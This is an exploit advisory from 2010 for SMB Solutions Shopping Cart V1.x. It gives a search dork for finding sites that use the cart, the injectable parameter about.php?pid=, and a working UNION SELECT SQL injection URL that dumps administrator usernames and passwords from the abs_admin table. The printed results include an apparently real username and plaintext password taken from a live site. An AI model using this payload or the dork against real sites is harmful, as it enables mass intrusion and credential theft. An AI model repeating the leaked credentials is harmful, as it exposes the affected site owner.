SMB Solutions Shopping Cart SQL Injection

`# Exploit Title: Remote SQL Injection SMB Solutions Shopping Cart V 1.x  
# Date: August, 14 2010  
# Author: R3VAN_BASTARD  
# Software Link: N/A  
# Version: V 1.x  
# Tested on: Windows XP SP.3  
# CVE : N/A  
===============================================================  
Remote SQL Injection SMB Solutions Shopping Cart V 1.x  
===============================================================  
Provider: http://www.smbsolutionsuk.com  
Price : £ 300  
Author : R3VAN_BASTARD  
Contact : defrontliner[at]whiteponny.com  
===============================================================  
Dork: intext:Site by SMB Solutions  
  
SQL Vulnerability:   
http://localhost.com/about.php?pid= [Inject]  
Exploit:   
http://localhost.com/about.php?pid=00+AND+1=2+UNION+SELECT+0,concat(admin,0x3a,password),2,3,4,5 from abs_admin--  
  
RESULTS:  
---------------------------------------------------------------  
<div id="basket"><strong><a href="/products/shop/basket.php" id="basketLink">My Basket: item</a></strong>&nbsp;<a href="/feeds.php"><img src="/images/rss.gif" alt="Kings Singers RSS Feeds" border="0" height="16" width="16" /></a>  
</div><!-- end #basket -->  
  
<hr />  
  
<div id="content_container">  
  
  
<div id="primaryContent">  
<div id="breadcrumb"></div>  
  
  
<div id="mycontainer">  
<h2>About The King's Singers</h2>  
<h3>:NoDataInColumn:1:claire:mus1c4me:  
  
===============================================================  
Thanks to Allah Thank for always behind me.  
===============================================================  
`